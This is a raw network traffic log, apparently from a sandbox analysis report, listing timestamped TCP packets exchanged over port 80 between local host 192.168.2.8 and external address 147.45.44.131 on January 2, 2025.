Jan 2, 2025 19:14:18.310930014 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310960054 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.310970068 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.310980082 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.311019897 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.311033964 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.311038017 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.311074972 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.311077118 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.311094999 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.311101913 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.311119080 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.311131001 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.311137915 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.311137915 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.311141968 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.311148882 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.311153889 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.311163902 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.311170101 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.311180115 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.311203957 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.361148119 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.395050049 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.395071983 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.395129919 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.395133018 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.395292044 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.395298004 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.395309925 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.395320892 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.395328045 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.395333052 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.395338058 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.395339012 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.395345926 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.395353079 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.395365953 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.395371914 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.395378113 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.395380020 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.395385027 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.395405054 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.395423889 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.395715952 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.395824909 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.395829916 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.395848036 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.395853996 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.395864964 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.395869970 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.395876884 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.395879030 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.395910025 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.395927906 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.396567106 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.396573067 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.396591902 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.396598101 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.396605015 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.396619081 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.396636963 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.396642923 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.396647930 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.396650076 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.396681070 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.396713972 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.396720886 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.396733046 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.396755934 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.396761894 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.396763086 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.396785021 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.396791935 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.396799088 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.396814108 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.396828890 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.396857023 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.397651911 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.397665977 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.397675991 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.397681952 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.397716045 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.397743940 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.397823095 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.397836924 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.397840023 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.397845030 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.397846937 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.397852898 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.397855997 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.397861958 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.397878885 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.397881031 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.397885084 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.397891998 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.397916079 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.397938967 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.399452925 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.399460077 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.399478912 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.399485111 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.399497032 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.399502993 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.399508953 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.399513960 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.399516106 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.399530888 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.399555922 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.400437117 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.400444031 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.400454998 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.400460958 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.400492907 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.400518894 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.400525093 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.400531054 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.400537014 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.400554895 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.400568962 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.401098967 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401130915 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401135921 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.401139021 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401180029 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.401279926 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401285887 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401293039 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401298046 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401309967 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401324034 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401324034 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.401330948 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401336908 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401341915 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401348114 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401349068 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.401354074 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401359081 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401365042 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401365995 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.401371002 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401386976 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.401401997 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.401421070 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.401453018 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401467085 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401473045 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401479006 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401484966 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401489973 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401494980 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401500940 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401503086 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.401513100 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401525974 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.401530981 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401545048 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401551008 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401555061 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.401556969 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401563883 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401573896 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.401578903 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401588917 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401592016 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401602983 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401606083 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.401611090 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401617050 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401637077 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.401640892 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401647091 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401649952 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.401654959 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401685953 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.401725054 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401737928 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401748896 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401761055 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401767015 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401778936 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401782990 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.401793957 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401801109 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401810884 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.401813030 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401819944 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401828051 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401832104 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.401844025 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.401866913 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.401885033 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.416445971 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.485901117 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.485909939 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.485922098 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.485928059 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.485934019 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.485948086 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.485955954 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.485961914 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.485968113 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.485972881 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.485975981 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.485979080 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.485986948 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.485991955 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.485997915 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.486004114 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.486010075 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.486015081 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.486032009 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.486066103 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.486502886 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.486509085 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.486521006 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.486526966 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.486532927 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.486558914 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.486579895 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.486766100 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.486773014 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.486785889 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.486790895 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.486815929 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.486835003 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.487262011 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.487267971 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.487272978 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.487283945 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.487289906 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.487301111 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.487304926 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.487318039 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.487325907 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.487339973 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.487346888 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.487360954 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.487385035 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.487390041 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.487396002 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.487406969 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.487442970 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.487456083 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.487462044 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.487468958 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.487481117 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.487487078 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.487518072 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.487539053 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.488284111 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.488310099 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.488315105 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.488321066 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.488353014 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.488380909 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.488387108 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.488393068 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.488398075 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.488404989 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.488410950 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.488426924 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.488435984 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.488450050 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.488475084 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.488485098 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.488492012 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.488504887 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.488509893 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.488521099 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.488533020 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.488562107 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.490617990 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.490624905 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.490632057 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.490670919 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.490679979 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.490686893 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.490699053 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.490705013 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.490729094 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.491163015 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.491168976 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.491174936 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.491185904 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.491192102 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.491206884 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.491231918 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.491240025 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.491257906 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.491271019 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.491271019 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.491321087 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.491828918 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.491877079 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.491877079 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.491889954 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.491904020 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.491909027 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.491921902 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.491936922 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.491970062 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.492043018 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492049932 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492055893 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492060900 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492068052 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492079020 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492084980 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492090940 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492103100 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492109060 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492115021 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492120981 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492130041 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.492130041 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.492130041 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.492152929 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.492158890 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.492161036 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492167950 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492180109 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492207050 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.492223978 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.492254972 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492261887 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492273092 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492279053 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492284060 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492305040 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.492331982 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492337942 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.492337942 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492352962 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492358923 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492372990 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.492377996 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.492391109 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.492420912 CET	49704	80	192.168.2.8	147.45.44.131
